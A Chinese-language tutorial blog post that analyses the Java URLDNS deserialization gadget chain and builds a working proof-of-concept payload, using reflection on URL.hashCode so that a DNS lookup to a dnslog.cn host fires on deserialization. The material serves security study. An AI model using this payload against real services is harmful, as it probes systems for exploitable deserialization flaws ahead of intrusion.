首页 > 编程语言 >Java反序列化调用链分析系列 | URLDNS链

Java反序列化调用链分析系列 | URLDNS链

时间:2024-09-22 23:01:45浏览次数:1  
标签:hashMap 链分析 url hashCode URL 对象 URLDNS 序列化

URLDNS链

URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。

该链比较简单,利用链也比较短。

其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。

整个调用链如下:

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
  URL.hashCode()
    URLStreamHandler.hashCode()
    URLStreamHandler.getHostAddress()

调用链分析

HashMapde readObject()方法会调用putVal()方法因而调用hash()方法,传递的参数为key,这个key为hashMap对象的存在的键。

之后会调用key.hashCode(),即key(Object)不同,调用的hashCode()不同。

而URL类中也存在hashCode方法,如果传入的key为URL对象,则会调用URL对象的hashCode():

如果调用了URL对象的hashCode,则会调用handler.hashCode(this)

其中handler为URLStreamHandler

因此,最终会调用URLStreamHandler对象的hashCode()

URLStreamHandler对象的hashCode()中会调用getHostAddress(u),进而发起DNS请求。

总结一下就是:

如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。

Payload编写

基本代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");
        HashMap hashMap = new HashMap();
        hashMap.put(url,'1');


        SerAndUnser.serialize(hashMap);

通过hashMap对象put进一个URL对象。

根据调用链,则在反序列化时会调用hashMap的readObject方法,其中url对象为key,然后调用到url.hashCode()URLStreamHandler.hashCode(url),最终触发到请求DNS的代码。

看似完美,但是运行时会发现,序列化hashMap对象时就已经触发了请求DNS代码。

为什么呢?

通过分析发现,hashMap的put方法也会调用hash(url)url.hashCode(),也就是说在执行hashMap.put(url,'1')时就会触发最终代码。

怎么办呢?

这里有两个思路:

  1. hashMap在put的时候,不将url放入hashMap,这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。
  2. 将url对象put进入hashMap,然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()

显然第一个思路实现不了,没有别的方式在hashMap对象中放入key。

那么就看一下第二个思路:

在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。

那我们能不能阻止URLStreamHandler.hashCode()的执行呢?看下url对象的hashCode方法

发现:这里先是做了一个判断,如果hashCode为-1,则不会再执行到hashCode()了,这不正是我们想要的嘛。只需要将hashCode设置为-1。

但怎么设置呢?

首先,hashCode默认为-1

通过搜索也没有位置可以修改hashCode的值,那我们只能通过hashMap对象本身来修改了,但是hashCode又是private修饰,直接修改不了。

所以接下来需要使用反射处理,修改的代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");
        HashMap hashMap = new HashMap();

        // 将url对象中的hashCode修改为不是-1
        Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可

        hashMap.put(url,'1');

//        SerAndUnser.serialize(hashMap);
        SerAndUnser.unserialize("ser.bin");

以上代码,序列化时没有触发最终代码了,但是在反序列化时也不触发了~

原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到handler.hashCode(),因此执行不到最终的代码。

解决方式是,在hashMap的put之后,再把url对象的hashCode值修改为-1即可。

最终代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");
        HashMap hashMap = new HashMap();

        // 将url对象中的hashCode修改为不是-1
        Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可

        hashMap.put(url,'1');
        // put之后再将hashCode的值修改回-1
        hashCodeField.set(url,-1);

//        SerAndUnser.serialize(hashMap);
        SerAndUnser.unserialize("ser.bin");

执行反序列化会成功触发最终的DNS请求。

标签:hashMap,链分析,url,hashCode,URL,对象,URLDNS,序列化
From: https://www.cnblogs.com/leyilea/p/18426070

相关文章

  • fastjson反序列化漏洞
    fastjson将java中的类和json相互转化的一个工具.简单使用javabean类转jsonpublicclassFastjsonTest{publicstaticvoidmain(String[]args){Useruser=newUser();Stringjson=JSON.toJSONString(user);System.out.println(json);......
  • niubility!即使JavaBean没有默认无参构造器,Fastjson也可以反序列化。- - - - 阿里Fastj
    niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。看下面示例代码,User这个JavaBean不包含默认无参构造器。执行这段代码不仅不会像Jackson那样抛出“没有无参构造器”的异常,还能正常反序列化。@TestpublicvoidtestFastjsonCoDec(){StringjsonString=......
  • Apache-Shiro <=1.2.4 反序列化漏洞 (代码审计)
    一、ApacheShiro简介:ApacheShiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。......
  • JAVA 序列化和反序列化
    序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列转换为对象的过程称为对象的反序列化对象序列化的作用1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中2)在网络上传送对象的字节序列ObjectOutputStream代表对象输出流,它的writeObject(Obje......
  • 编程日记 更改redis存储默认序列化器
    编程日记更改redis存储默认序列化器packagecom.haole.usercenter.service;importcom.haole.usercenter.model.domain.User;importjakarta.annotation.Resource;importorg.junit.jupiter.api.Assertions;importorg.junit.jupiter.api.Test;importorg.springframework......
  • “序列化”与 “反序列化”
    学习Rustweb的过程中,前后端处理数据的过程中,要用到serde这个库,科普了一下这是Rust序列化、反序列化的方案,新的疑惑来了,什么是序列化、反序列化?概念序列化和反序列化,是计算机中用于数据存储和传输的重要概念。序列化(Serialization)是将数据结构或对象转换成一种可存储、......
  • Leetcode 297. 二叉树的序列化与反序列化
    1.题目基本信息1.1.题目描述序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序......
  • CVE-2015-5254(ActiveMQ-反序列化漏洞)
    漏洞描述编号:CVE-2015-5254影响版本:ApacheActiveMQ5.13.0之前5.x版本CVE地址:CVE-2015-5254漏洞原理:该漏洞源于程序没有限制可在代理中序列化的对象。远程攻击者可借助特制的序列化的JavaMessageService(JMS)ObjectMessage对象利用该漏洞执行任意代码复现环境windows,doc......
  • jackson 原生反序列化触发 getter 方法
    jackson原生反序列化触发getter方法jackson的POJONode方法可以任意调用getterjackson序列化会任意调用getter分析jackson序列化会调用任意getter方法,jackson反序列化也会任意调用getter,这两个都不需要多说什么了,在前面的jackson反序列化中的TemplatesImpl......
  • jackson 反序列化学习
    jackson反序列化学习jackson介绍Jackson是一个用于处理JSON数据的开源Java库。SpringMVC的默认json解析器便是Jackson。Jackson优点很多。Jackson所依赖的jar包较少,简单易用。与其他Java的json的框架Gson等相比,Jackson解析大的json文件速度比较快;Ja......